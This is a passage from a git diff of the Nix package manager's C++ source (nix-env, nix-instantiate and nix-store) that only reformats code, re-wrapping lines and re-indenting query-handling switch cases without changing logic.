expression. */ Value envBuilder; - state.eval(state.parseExprFromString( - #include "buildenv.nix.gen.hh" - , state.rootPath(CanonPath::root)), envBuilder); + state.eval( + state.parseExprFromString( +#include "buildenv.nix.gen.hh" + , state.rootPath(CanonPath::root)), + envBuilder); /* Construct a Nix expression that calls the user environment builder with the manifest as argument. */ @@ -147,9 +151,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, debug("building user environment"); std::vector topLevelDrvs; topLevelDrvs.push_back({topLevelDrv}); - state.store->buildPaths( - toDerivedPaths(topLevelDrvs), - state.repair ? bmRepair : bmNormal); + state.store->buildPaths(toDerivedPaths(topLevelDrvs), state.repair ? bmRepair : bmNormal); /* Switch the current user environment to the output path. */ auto store2 = state.store.dynamic_pointer_cast(); @@ -172,5 +174,4 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, return true; } - } diff --git a/src/nix-env/user-env.hh b/src/nix-env/user-env.hh index 0a19b8f32..9f9451bdb 100644 --- a/src/nix-env/user-env.hh +++ b/src/nix-env/user-env.hh @@ -7,8 +7,7 @@ namespace nix { PackageInfos queryInstalled(EvalState & state, const Path & userEnv); -bool createUserEnv(EvalState & state, PackageInfos & elems, - const Path & profile, bool keepDerivations, - const std::string & lockToken); +bool createUserEnv( + EvalState & state, PackageInfos & elems, const Path & profile, bool keepDerivations, const std::string & lockToken); } diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc index c1b6cc66a..8105f6471 100644 --- a/src/nix-instantiate/nix-instantiate.cc +++ b/src/nix-instantiate/nix-instantiate.cc @@ -17,19 +17,23 @@ #include #include - using namespace nix; - static Path gcRoot; static int rootNr = 0; - enum OutputKind { okPlain, okRaw, okXML, okJSON }; -void processExpr(EvalState & state, const Strings & attrPaths, - bool parseOnly, bool strict, Bindings & autoArgs, - bool evalOnly, OutputKind output, bool location, Expr * e) +void processExpr( + EvalState & state, + const Strings & attrPaths, + bool parseOnly, + bool strict, + Bindings & autoArgs, + bool evalOnly, + OutputKind output, + bool location, + Expr * e) { if (parseOnly) { e->show(state.symbols, std::cout); @@ -53,15 +57,16 @@ void processExpr(EvalState & state, const Strings & attrPaths, state.autoCallFunction(autoArgs, v, vRes); if (output == okRaw) std::cout << *state.coerceToString(noPos, vRes, context, "while generating the nix-instantiate output"); - // We intentionally don't output a newline here. The default PS1 for Bash in NixOS starts with a newline - // and other interactive shells like Zsh are smart enough to print a missing newline before the prompt. + // We intentionally don't output a newline here. The default PS1 for Bash in NixOS starts with a newline + // and other interactive shells like Zsh are smart enough to print a missing newline before the prompt. else if (output == okXML) printValueAsXML(state, strict, location, vRes, std::cout, context, noPos); else if (output == okJSON) { printValueAsJSON(state, strict, vRes, v.determinePos(noPos), std::cout, context); std::cout << std::endl; } else { - if (strict) state.forceValueDeep(vRes); + if (strict) + state.forceValueDeep(vRes); std::set seen; printAmbiguous(vRes, state.symbols, std::cout, &seen, std::numeric_limits::max()); std::cout << std::endl; @@ -82,7 +87,8 @@ void processExpr(EvalState & state, const Strings & attrPaths, printGCWarning(); else { Path rootName = absPath(gcRoot); - if (++rootNr > 1) rootName += "-" + std::to_string(rootNr); + if (++rootNr > 1) + rootName += "-" + std::to_string(rootNr); auto store2 = state.store.dynamic_pointer_cast(); if (store2) drvPathS = store2->addPermRoot(drvPath, rootName); @@ -93,8 +99,7 @@ void processExpr(EvalState & state, const Strings & attrPaths, } } - -static int main_nix_instantiate(int argc, char * * argv) +static int main_nix_instantiate(int argc, char ** argv) { { Strings files; @@ -169,7 +174,8 @@ static int main_nix_instantiate(int argc, char * * argv) Bindings & autoArgs = *myArgs.getAutoArgs(*state); - if (attrPaths.empty()) attrPaths = {""}; + if (attrPaths.empty()) + attrPaths = {""}; if (findFile) { for (auto & i : files) { @@ -184,17 +190,16 @@ static int main_nix_instantiate(int argc, char * * argv) if (readStdin) { Expr * e = state->parseStdin(); - processExpr(*state, attrPaths, parseOnly, strict, autoArgs, - evalOnly, outputKind, xmlOutputSourceLocation, e); + processExpr( + *state, attrPaths, parseOnly, strict, autoArgs, evalOnly, outputKind, xmlOutputSourceLocation, e); } else if (files.empty() && !fromArgs) files.push_back("./default.nix"); for (auto & i : files) { - Expr * e = fromArgs - ? state->parseExprFromString(i, state->rootPath(".")) - : state->parseExprFromFile(resolveExprPath(lookupFileArg(*state, i))); - processExpr(*state, attrPaths, parseOnly, strict, autoArgs, - evalOnly, outputKind, xmlOutputSourceLocation, e); + Expr * e = fromArgs ? state->parseExprFromString(i, state->rootPath(".")) + : state->parseExprFromFile(resolveExprPath(lookupFileArg(*state, i))); + processExpr( + *state, attrPaths, parseOnly, strict, autoArgs, evalOnly, outputKind, xmlOutputSourceLocation, e); } state->maybePrintStats(); diff --git a/src/nix-store/dotgraph.cc b/src/nix-store/dotgraph.cc index f8054b554..c87f6de4b 100644 --- a/src/nix-store/dotgraph.cc +++ b/src/nix-store/dotgraph.cc @@ -3,44 +3,37 @@ #include - using std::cout; namespace nix { - static std::string dotQuote(std::string_view s) { return "\"" + std::string(s) + "\""; } - static const std::string & nextColour() { static int n = 0; - static std::vector colours - { "black", "red", "green", "blue" - , "magenta", "burlywood" }; + static std::vector colours{"black", "red", "green", "blue", "magenta", "burlywood"}; return colours[n++ % colours.size()]; } - static std::string makeEdge(std::string_view src, std::string_view dst) { - return fmt("%1% -> %2% [color = %3%];\n", - dotQuote(src), dotQuote(dst), dotQuote(nextColour())); + return fmt("%1% -> %2% [color = %3%];\n", dotQuote(src), dotQuote(dst), dotQuote(nextColour())); } - -static std::string makeNode(std::string_view id, std::string_view label, - std::string_view colour) +static std::string makeNode(std::string_view id, std::string_view label, std::string_view colour) { - return fmt("%1% [label = %2%, shape = box, " + return fmt( + "%1% [label = %2%, shape = box, " "style = filled, fillcolor = %3%];\n", - dotQuote(id), dotQuote(label), dotQuote(colour)); + dotQuote(id), + dotQuote(label), + dotQuote(colour)); } - void printDotGraph(ref store, StorePathSet && roots) { StorePathSet workList(std::move(roots)); @@ -51,7 +44,8 @@ void printDotGraph(ref store, StorePathSet && roots) while (!workList.empty()) { auto path = std::move(workList.extract(workList.begin()).value()); - if (!doneSet.insert(path).second) continue; + if (!doneSet.insert(path).second) + continue; cout << makeNode(std::string(path.to_string()), path.name(), "#ff0000"); @@ -66,5 +60,4 @@ void printDotGraph(ref store, StorePathSet && roots) cout << "}\n"; } - } diff --git a/src/nix-store/graphml.cc b/src/nix-store/graphml.cc index 3b3188a41..41175158f 100644 --- a/src/nix-store/graphml.cc +++ b/src/nix-store/graphml.cc @@ -4,12 +4,10 @@ #include - using std::cout; namespace nix { - static inline std::string_view xmlQuote(std::string_view s) { // Luckily, store paths shouldn't contain any character that needs to be @@ -17,20 +15,16 @@ static inline std::string_view xmlQuote(std::string_view s) return s; } - static std::string symbolicName(std::string_view p) { return std::string(p.substr(0, p.find('-') + 1)); } - static std::string makeEdge(std::string_view src, std::string_view dst) { - return fmt(" \n", - xmlQuote(src), xmlQuote(dst)); + return fmt(" \n", xmlQuote(src), xmlQuote(dst)); } - static std::string makeNode(const ValidPathInfo & info) { return fmt( @@ -45,7 +39,6 @@ static std::string makeNode(const ValidPathInfo & info) (info.path.isDerivation() ? "derivation" : "output-path")); } - void printGraphML(ref store, StorePathSet && roots) { StorePathSet workList(std::move(roots)); @@ -65,7 +58,8 @@ void printGraphML(ref store, StorePathSet && roots) auto path = std::move(workList.extract(workList.begin()).value()); ret = doneSet.insert(path); - if (ret.second == false) continue; + if (ret.second == false) + continue; auto info = store->queryPathInfo(path); cout << makeNode(*info); @@ -76,12 +70,10 @@ void printGraphML(ref store, StorePathSet && roots) cout << makeEdge(path.to_string(), p.to_string()); } } - } cout << "\n"; cout << "\n"; } - } diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index 23d4071e9..462853f75 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -15,9 +15,9 @@ #include "man-pages.hh" #ifndef _WIN32 // TODO implement on Windows or provide allowed-to-noop interface -# include "nix/store/local-store.hh" -# include "nix/util/monitor-fd.hh" -# include "nix/store/posix-fs-canonicalise.hh" +# include "nix/store/local-store.hh" +# include "nix/util/monitor-fd.hh" +# include "nix/store/posix-fs-canonicalise.hh" #endif #include @@ -33,41 +33,37 @@ namespace nix_store { - using namespace nix; using std::cin; using std::cout; - -typedef void (* Operation) (Strings opFlags, Strings opArgs); - +typedef void (*Operation)(Strings opFlags, Strings opArgs); static Path gcRoot; static int rootNr = 0; static bool noOutput = false; static std::shared_ptr store; - #ifndef _WIN32 // TODO reenable on Windows once we have `LocalStore` there ref ensureLocalStore() { auto store2 = std::dynamic_pointer_cast(store); - if (!store2) throw Error("you don't have sufficient rights to use this command"); + if (!store2) + throw Error("you don't have sufficient rights to use this command"); return ref(store2); } #endif - static StorePath useDeriver(const StorePath & path) { - if (path.isDerivation()) return path; + if (path.isDerivation()) + return path; auto info = store->queryPathInfo(path); if (!info->deriver) throw Error("deriver of path '%s' is not known", store->printStorePath(path)); return *info->deriver; } - /* Realise the given path. For a derivation that means build it; for other paths it means ensure their validity. */ static PathSet realisePath(StorePathWithOutputs path, bool build = true) @@ -75,22 +71,23 @@ static PathSet realisePath(StorePathWithOutputs path, bool build = true) auto store2 = std::dynamic_pointer_cast(store); if (path.path.isDerivation()) { - if (build) store->buildPaths({path.toDerivedPath()}); + if (build) + store->buildPaths({path.toDerivedPath()}); auto outputPaths = store->queryDerivationOutputMap(path.path); Derivation drv = store->derivationFromPath(path.path); rootNr++; /* FIXME: Encode this empty special case explicitly in the type. */ if (path.outputs.empty()) - for (auto & i : drv.outputs) path.outputs.insert(i.first); + for (auto & i : drv.outputs) + path.outputs.insert(i.first); PathSet outputs; for (auto & j : path.outputs) { /* Match outputs of a store path with outputs of the derivation that produces it. */ DerivationOutputs::iterator i = drv.outputs.find(j); if (i == drv.outputs.end()) - throw Error("derivation '%s' does not have an output named '%s'", - store2->printStorePath(path.path), j); + throw Error("derivation '%s' does not have an output named '%s'", store2->printStorePath(path.path), j); auto outPath = outputPaths.at(i->first); auto retPath = store->printStorePath(outPath); if (store2) { @@ -98,8 +95,10 @@ static PathSet realisePath(StorePathWithOutputs path, bool build = true) printGCWarning(); else { Path rootName = gcRoot; - if (rootNr > 1) rootName += "-" + std::to_string(rootNr); - if (i->first != "out") rootName += "-" + i->first; + if (rootNr > 1) + rootName += "-" + std::to_string(rootNr); + if (i->first != "out") + rootName += "-" + i->first; retPath = store2->addPermRoot(outPath, rootName); } } @@ -109,7 +108,8 @@ static PathSet realisePath(StorePathWithOutputs path, bool build = true) } else { - if (build) store->ensurePath(path.path); + if (build) + store->ensurePath(path.path); else if (!store->isValidPath(path.path)) throw Error("path '%s' does not exist and cannot be created", store->printStorePath(path.path)); if (store2) { @@ -118,7 +118,8 @@ static PathSet realisePath(StorePathWithOutputs path, bool build = true) else { Path rootName = gcRoot; rootNr++; - if (rootNr > 1) rootName += "-" + std::to_string(rootNr); + if (rootNr > 1) + rootName += "-" + std::to_string(rootNr); return {store2->addPermRoot(path.path, rootName)}; } } @@ -126,7 +127,6 @@ static PathSet realisePath(StorePathWithOutputs path, bool build = true) } } - /* Realise the given paths. */ static void opRealise(Strings opFlags, Strings opArgs) { @@ -135,11 +135,16 @@ static void opRealise(Strings opFlags, Strings opArgs) bool ignoreUnknown = false; for (auto & i : opFlags) - if (i == "--dry-run") dryRun = true; - else if (i == "--repair") buildMode = bmRepair; - else if (i == "--check") buildMode = bmCheck; - else if (i == "--ignore-unknown") ignoreUnknown = true; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--dry-run") + dryRun = true; + else if (i == "--repair") + buildMode = bmRepair; + else if (i == "--check") + buildMode = bmCheck; + else if (i == "--ignore-unknown") + ignoreUnknown = true; + else + throw UsageError("unknown flag '%1%'", i); std::vector paths; for (auto & i : opArgs) @@ -147,15 +152,14 @@ static void opRealise(Strings opFlags, Strings opArgs) uint64_t downloadSize, narSize; StorePathSet willBuild, willSubstitute, unknown; - store->queryMissing( - toDerivedPaths(paths), - willBuild, willSubstitute, unknown, downloadSize, narSize); + store->queryMissing(toDerivedPaths(paths), willBuild, willSubstitute, unknown, downloadSize, narSize); /* Filter out unknown paths from `paths`. */ if (ignoreUnknown) { std::vector paths2; for (auto & i : paths) - if (!unknown.count(i.path)) paths2.push_back(i); + if (!unknown.count(i.path)) + paths2.push_back(i); paths = std::move(paths2); unknown = StorePathSet(); } @@ -163,7 +167,8 @@ static void opRealise(Strings opFlags, Strings opArgs) if (settings.printMissing) printMissing(ref(store), willBuild, willSubstitute, unknown, downloadSize, narSize); - if (dryRun) return; + if (dryRun) + return; /* Build all paths at the same time to exploit parallelism. */ store->buildPaths(toDerivedPaths(paths), buildMode); @@ -177,20 +182,18 @@ static void opRealise(Strings opFlags, Strings opArgs) } } - /* Add files to the Nix store and print the resulting paths. */ static void opAdd(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); for (auto & i : opArgs) { auto sourcePath = PosixSourceAccessor::createAtRoot(makeParentCanonical(i)); - cout << fmt("%s\n", store->printStorePath(store->addToStore( - std::string(baseNameOf(i)), sourcePath))); + cout << fmt("%s\n", store->printStorePath(store->addToStore(std::string(baseNameOf(i)), sourcePath))); } } - /* Preload the output of a fixed-output derivation into the Nix store. */ static void opAddFixed(Strings opFlags, Strings opArgs) @@ -198,8 +201,10 @@ static void opAddFixed(Strings opFlags, Strings opArgs) ContentAddressMethod method = ContentAddressMethod::Raw::Flat; for (auto & i : opFlags) - if (i == "--recursive") method = ContentAddressMethod::Raw::NixArchive; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--recursive") + method = ContentAddressMethod::Raw::NixArchive; + else + throw UsageError("unknown flag '%1%'", i); if (opArgs.empty()) throw UsageError("first argument must be hash algorithm"); @@ -209,23 +214,21 @@ static void opAddFixed(Strings opFlags, Strings opArgs) for (auto & i : opArgs) { auto sourcePath = PosixSourceAccessor::createAtRoot(makeParentCanonical(i)); - std::cout << fmt("%s\n", store->printStorePath(store->addToStoreSlow( - baseNameOf(i), - sourcePath, - method, - hashAlgo).path)); + std::cout << fmt( + "%s\n", store->printStorePath(store->addToStoreSlow(baseNameOf(i), sourcePath, method, hashAlgo).path)); } } - /* Hack to support caching in `nix-prefetch-url'. */ static void opPrintFixedPath(Strings opFlags, Strings opArgs) { auto method = FileIngestionMethod::Flat; for (const auto & i : opFlags) - if (i == "--recursive") method = FileIngestionMethod::NixArchive; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--recursive") + method = FileIngestionMethod::NixArchive; + else + throw UsageError("unknown flag '%1%'", i); if (opArgs.size() != 3) throw UsageError("'--print-fixed-path' requires three arguments"); @@ -235,17 +238,21 @@ static void opPrintFixedPath(Strings opFlags, Strings opArgs) std::string hash = *i++; std::string name = *i++; - cout << fmt("%s\n", store->printStorePath(store->makeFixedOutputPath(name, FixedOutputInfo { - .method = method, - .hash = Hash::parseAny(hash, hashAlgo), - .references = {}, - }))); + cout << fmt( + "%s\n", + store->printStorePath(store->makeFixedOutputPath( + name, + FixedOutputInfo{ + .method = method, + .hash = Hash::parseAny(hash, hashAlgo), + .references = {}, + }))); } - static StorePathSet maybeUseOutputs(const StorePath & storePath, bool useOutput, bool forceRealise) { - if (forceRealise) realisePath({storePath}); + if (forceRealise) + realisePath({storePath}); if (useOutput && storePath.isDerivation()) { auto drv = store->derivationFromPath(storePath); StorePathSet outputs; @@ -253,20 +260,20 @@ static StorePathSet maybeUseOutputs(const StorePath & storePath, bool useOutput, return store->queryDerivationOutputs(storePath); for (auto & i : drv.outputsAndOptPaths(*store)) { if (!i.second.second) - throw UsageError("Cannot use output path of floating content-addressing derivation until we know what it is (e.g. by building it)"); + throw UsageError( + "Cannot use output path of floating content-addressing derivation until we know what it is (e.g. by building it)"); outputs.insert(*i.second.second); } return outputs; - } - else return {storePath}; + } else + return {storePath}; } - /* Some code to print a tree representation of a derivation dependency graph. Topological sorting is used to keep the tree relatively flat. */ -static void printTree(const StorePath & path, - const std::string & firstPad, const std::string & tailPad, StorePathSet & done) +static void +printTree(const StorePath & path, const std::string & firstPad, const std::string & tailPad, StorePathSet & done) { if (!done.insert(path).second) { cout << fmt("%s%s [...]\n", firstPad, store->printStorePath(path)); @@ -284,23 +291,32 @@ static void printTree(const StorePath & path, auto sorted = store->topoSortPaths(info->references); reverse(sorted.begin(), sorted.end()); - for (const auto &[n, i] : enumerate(sorted)) { + for (const auto & [n, i] : enumerate(sorted)) { bool last = n + 1 == sorted.size(); - printTree(i, - tailPad + (last ? treeLast : treeConn), - tailPad + (last ? treeNull : treeLine), - done); + printTree(i, tailPad + (last ? treeLast : treeConn), tailPad + (last ? treeNull : treeLine), done); } } - /* Perform various sorts of queries. */ static void opQuery(Strings opFlags, Strings opArgs) { - enum QueryType - { qOutputs, qRequisites, qReferences, qReferrers - , qReferrersClosure, qDeriver, qValidDerivers, qBinding, qHash, qSize - , qTree, qGraph, qGraphML, qResolve, qRoots }; + enum QueryType { + qOutputs, + qRequisites, + qReferences, + qReferrers, + qReferrersClosure, + qDeriver, + qValidDerivers, + qBinding, + qHash, + qSize, + qTree, + qGraph, + qGraphML, + qResolve, + qRoots + }; std::optional query; bool useOutput = false; bool includeOutputs = false; @@ -309,187 +325,203 @@ static void opQuery(Strings opFlags, Strings opArgs) for (auto & i : opFlags) { std::optional prev = query; - if (i == "--outputs") query = qOutputs; - else if (i == "--requisites" || i == "-R") query = qRequisites; - else if (i == "--references") query = qReferences; - else if (i == "--referrers" || i == "--referers") query = qReferrers; - else if (i == "--referrers-closure" || i == "--referers-closure") query = qReferrersClosure; - else if (i == "--deriver" || i == "-d") query = qDeriver; - else if (i == "--valid-derivers") query = qValidDerivers; + if (i == "--outputs") + query = qOutputs; + else if (i == "--requisites" || i == "-R") + query = qRequisites; + else if (i == "--references") + query = qReferences; + else if (i == "--referrers" || i == "--referers") + query = qReferrers; + else if (i == "--referrers-closure" || i == "--referers-closure") + query = qReferrersClosure; + else if (i == "--deriver" || i == "-d") + query = qDeriver; + else if (i == "--valid-derivers") + query = qValidDerivers; else if (i == "--binding" || i == "-b") { if (opArgs.size() == 0) throw UsageError("expected binding name"); bindingName = opArgs.front(); opArgs.pop_front(); query = qBinding; - } - else if (i == "--hash") query = qHash; - else if (i == "--size") query = qSize; - else if (i == "--tree") query = qTree; - else if (i == "--graph") query = qGraph; - else if (i == "--graphml") query = qGraphML; - else if (i == "--resolve") query = qResolve; - else if (i == "--roots") query = qRoots; - else if (i == "--use-output" || i == "-u") useOutput = true; - else if (i == "--force-realise" || i == "--force-realize" || i == "-f") forceRealise = true; - else if (i == "--include-outputs") includeOutputs = true; - else throw UsageError("unknown flag '%1%'", i); + } else if (i == "--hash") + query = qHash; + else if (i == "--size") + query = qSize; + else if (i == "--tree") + query = qTree; + else if (i == "--graph") + query = qGraph; + else if (i == "--graphml") + query = qGraphML; + else if (i == "--resolve") + query = qResolve; + else if (i == "--roots") + query = qRoots; + else if (i == "--use-output" || i == "-u") + useOutput = true; + else if (i == "--force-realise" || i == "--force-realize" || i == "-f") + forceRealise = true; + else if (i == "--include-outputs") + includeOutputs = true; + else + throw UsageError("unknown flag '%1%'", i); if (prev && prev != query) throw UsageError("query type '%1%' conflicts with earlier flag", i); } - if (!query) query = qOutputs; + if (!query) + query = qOutputs; RunPager pager; switch (*query) { - case qOutputs: { - for (auto & i : opArgs) { - auto outputs = maybeUseOutputs(store->followLinksToStorePath(i), true, forceRealise); - for (auto & outputPath : outputs) - cout << fmt("%1%\n", store->printStorePath(outputPath)); + case qOutputs: { + for (auto & i : opArgs) { + auto outputs = maybeUseOutputs(store->followLinksToStorePath(i), true, forceRealise); + for (auto & outputPath : outputs) + cout << fmt("%1%\n", store->printStorePath(outputPath)); + } + break; + } + + case qRequisites: + case qReferences: + case qReferrers: + case qReferrersClosure: { + StorePathSet paths; + for (auto & i : opArgs) { + auto ps = maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise); + for (auto & j : ps) { + if (query == qRequisites) + store->computeFSClosure(j, paths, false, includeOutputs); + else if (query == qReferences) { + for (auto & p : store->queryPathInfo(j)->references) + paths.insert(p); + } else if (query == qReferrers) { + StorePathSet tmp; + store->queryReferrers(j, tmp); + for (auto & i : tmp) + paths.insert(i); + } else if (query == qReferrersClosure) + store->computeFSClosure(j, paths, true); } - break; } + auto sorted = store->topoSortPaths(paths); + for (StorePaths::reverse_iterator i = sorted.rbegin(); i != sorted.rend(); ++i) + cout << fmt("%s\n", store->printStorePath(*i)); + break; + } - case qRequisites: - case qReferences: - case qReferrers: - case qReferrersClosure: { - StorePathSet paths; - for (auto & i : opArgs) { - auto ps = maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise); - for (auto & j : ps) { - if (query == qRequisites) store->computeFSClosure(j, paths, false, includeOutputs); - else if (query == qReferences) { - for (auto & p : store->queryPathInfo(j)->references) - paths.insert(p); - } - else if (query == qReferrers) { - StorePathSet tmp; - store->queryReferrers(j, tmp); - for (auto & i : tmp) - paths.insert(i); - } - else if (query == qReferrersClosure) store->computeFSClosure(j, paths, true); - } + case qDeriver: + for (auto & i : opArgs) { + auto info = store->queryPathInfo(store->followLinksToStorePath(i)); + cout << fmt("%s\n", info->deriver ? store->printStorePath(*info->deriver) : "unknown-deriver"); + } + break; + + case qValidDerivers: { + StorePathSet result; + for (auto & i : opArgs) { + auto derivers = store->queryValidDerivers(store->followLinksToStorePath(i)); + for (const auto & i : derivers) { + result.insert(i); } - auto sorted = store->topoSortPaths(paths); - for (StorePaths::reverse_iterator i = sorted.rbegin(); - i != sorted.rend(); ++i) - cout << fmt("%s\n", store->printStorePath(*i)); - break; } + auto sorted = store->topoSortPaths(result); + for (StorePaths::reverse_iterator i = sorted.rbegin(); i != sorted.rend(); ++i) + cout << fmt("%s\n", store->printStorePath(*i)); + break; + } - case qDeriver: - for (auto & i : opArgs) { - auto info = store->queryPathInfo(store->followLinksToStorePath(i)); - cout << fmt("%s\n", info->deriver ? store->printStorePath(*info->deriver) : "unknown-deriver"); + case qBinding: + for (auto & i : opArgs) { + auto path = useDeriver(store->followLinksToStorePath(i)); + Derivation drv = store->derivationFromPath(path); + StringPairs::iterator j = drv.env.find(bindingName); + if (j == drv.env.end()) + throw Error( + "derivation '%s' has no environment binding named '%s'", store->printStorePath(path), bindingName); + cout << fmt("%s\n", j->second); + } + break; + + case qHash: + case qSize: + for (auto & i : opArgs) { + for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) { + auto info = store->queryPathInfo(j); + if (query == qHash) { + assert(info->narHash.algo == HashAlgorithm::SHA256); + cout << fmt("%s\n", info->narHash.to_string(HashFormat::Nix32, true)); + } else if (query == qSize) + cout << fmt("%d\n", info->narSize); } - break; - - case qValidDerivers: { - StorePathSet result; - for (auto & i : opArgs) { - auto derivers = store->queryValidDerivers(store->followLinksToStorePath(i)); - for (const auto &i: derivers) { - result.insert(i); - } - } - auto sorted = store->topoSortPaths(result); - for (StorePaths::reverse_iterator i = sorted.rbegin(); - i != sorted.rend(); ++i) - cout << fmt("%s\n", store->printStorePath(*i)); - break; } + break; - case qBinding: - for (auto & i : opArgs) { - auto path = useDeriver(store->followLinksToStorePath(i)); - Derivation drv = store->derivationFromPath(path); - StringPairs::iterator j = drv.env.find(bindingName); - if (j == drv.env.end()) - throw Error("derivation '%s' has no environment binding named '%s'", - store->printStorePath(path), bindingName); - cout << fmt("%s\n", j->second); - } - break; + case qTree: { + StorePathSet done; + for (auto & i : opArgs) + printTree(store->followLinksToStorePath(i), "", "", done); + break; + } - case qHash: - case qSize: - for (auto & i : opArgs) { - for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) { - auto info = store->queryPathInfo(j); - if (query == qHash) { - assert(info->narHash.algo == HashAlgorithm::SHA256); - cout << fmt("%s\n", info->narHash.to_string(HashFormat::Nix32, true)); - } else if (query == qSize) - cout << fmt("%d\n", info->narSize); - } - } - break; + case qGraph: { + StorePathSet roots; + for (auto & i : opArgs) + for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) + roots.insert(j); + printDotGraph(ref(store), std::move(roots)); + break; + } - case qTree: { - StorePathSet done; - for (auto & i : opArgs) - printTree(store->followLinksToStorePath(i), "", "", done); - break; - } + case qGraphML: { + StorePathSet roots; + for (auto & i : opArgs) + for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) + roots.insert(j); + printGraphML(ref(store), std::move(roots)); + break; + } - case qGraph: { - StorePathSet roots; - for (auto & i : opArgs) - for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) - roots.insert(j); - printDotGraph(ref(store), std::move(roots)); - break; - } + case qResolve: { + for (auto & i : opArgs) + cout << fmt("%s\n", store->printStorePath(store->followLinksToStorePath(i))); + break; + } - case qGraphML: { - StorePathSet roots; - for (auto & i : opArgs) - for (auto & j : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) - roots.insert(j); - printGraphML(ref(store), std::move(roots)); - break; - } + case qRoots: { + StorePathSet args; + for (auto & i : opArgs) + for (auto & p : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) + args.insert(p); - case qResolve: { - for (auto & i : opArgs) - cout << fmt("%s\n", store->printStorePath(store->followLinksToStorePath(i))); - break; - } + StorePathSet referrers; + store->computeFSClosure(args, referrers, true, settings.gcKeepOutputs, settings.gcKeepDerivations); - case qRoots: { - StorePathSet args; - for (auto & i : opArgs) - for (auto & p : maybeUseOutputs(store->followLinksToStorePath(i), useOutput, forceRealise)) - args.insert(p); + auto & gcStore = require(*store); + Roots roots = gcStore.findRoots(false); + for (auto & [target, links] : roots) + if (referrers.find(target) != referrers.end()) + for (auto & link : links) + cout << fmt("%1% -> %2%\n", link, gcStore.printStorePath(target)); + break; + } - StorePathSet referrers; - store->computeFSClosure( - args, referrers, true, settings.gcKeepOutputs, settings.gcKeepDerivations); - - auto & gcStore = require(*store); - Roots roots = gcStore.findRoots(false); - for (auto & [target, links] : roots) - if (referrers.find(target) != referrers.end()) - for (auto & link : links) - cout << fmt("%1% -> %2%\n", link, gcStore.printStorePath(target)); - break; - } - - default: - unreachable(); + default: + unreachable(); } } - static void opPrintEnv(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); - if (opArgs.size() != 1) throw UsageError("'--print-env' requires one derivation store path"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); + if (opArgs.size() != 1) + throw UsageError("'--print-env' requires one derivation store path"); Path drvPath = opArgs.front(); Derivation drv = store->derivationFromPath(store->parseStorePath(drvPath)); @@ -504,17 +536,18 @@ static void opPrintEnv(Strings opFlags, Strings opArgs) cout << "export _args; _args='"; bool first = true; for (auto & i : drv.args) { - if (!first) cout << ' '; + if (!first) + cout << ' '; first = false; cout << shellEscape(i); } cout << "'\n"; } - static void opReadLog(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); auto & logStore = require(*store); @@ -529,10 +562,10 @@ static void opReadLog(Strings opFlags, Strings opArgs) } } - static void opDumpDB(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); if (!opArgs.empty()) { for (auto & i : opArgs) cout << store->makeValidityRegistration({store->followLinksToStorePath(i)}, true, true); @@ -542,7 +575,6 @@ static void opDumpDB(Strings opFlags, Strings opArgs) } } - static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) { ValidPathInfos infos; @@ -550,9 +582,10 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) while (1) { // We use a dummy value because we'll set it below. FIXME be correct by // construction and avoid dummy value. - auto hashResultOpt = !hashGiven ? std::optional { {Hash::dummy, -1} } : std::nullopt; + auto hashResultOpt = !hashGiven ? std::optional{{Hash::dummy, -1}} : std::nullopt; auto info = decodeValidPathInfo(*store, cin, hashResultOpt); - if (!info) break; + if (!info) + break; if (!store->isValidPath(info->path) || reregister) { /* !!! races */ if (canonicalise) @@ -563,8 +596,9 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) #endif if (!hashGiven) { HashResult hash = hashPath( - {store->getFSAccessor(false), CanonPath { info->path.to_string() }}, - FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); + {store->getFSAccessor(false), CanonPath{info->path.to_string()}}, + FileSerialisationMethod::NixArchive, + HashAlgorithm::SHA256); info->narHash = hash.first; info->narSize = hash.second; } @@ -577,39 +611,43 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) #endif } - static void opLoadDB(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); if (!opArgs.empty()) throw UsageError("no arguments expected"); registerValidity(true, true, false); } - static void opRegisterValidity(Strings opFlags, Strings opArgs) { bool reregister = false; // !!! maybe this should be the default bool hashGiven = false; for (auto & i : opFlags) - if (i == "--reregister") reregister = true; - else if (i == "--hash-given") hashGiven = true; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--reregister") + reregister = true; + else if (i == "--hash-given") + hashGiven = true; + else + throw UsageError("unknown flag '%1%'", i); - if (!opArgs.empty()) throw UsageError("no arguments expected"); + if (!opArgs.empty()) + throw UsageError("no arguments expected"); registerValidity(reregister, hashGiven, true); } - static void opCheckValidity(Strings opFlags, Strings opArgs) { bool printInvalid = false; for (auto & i : 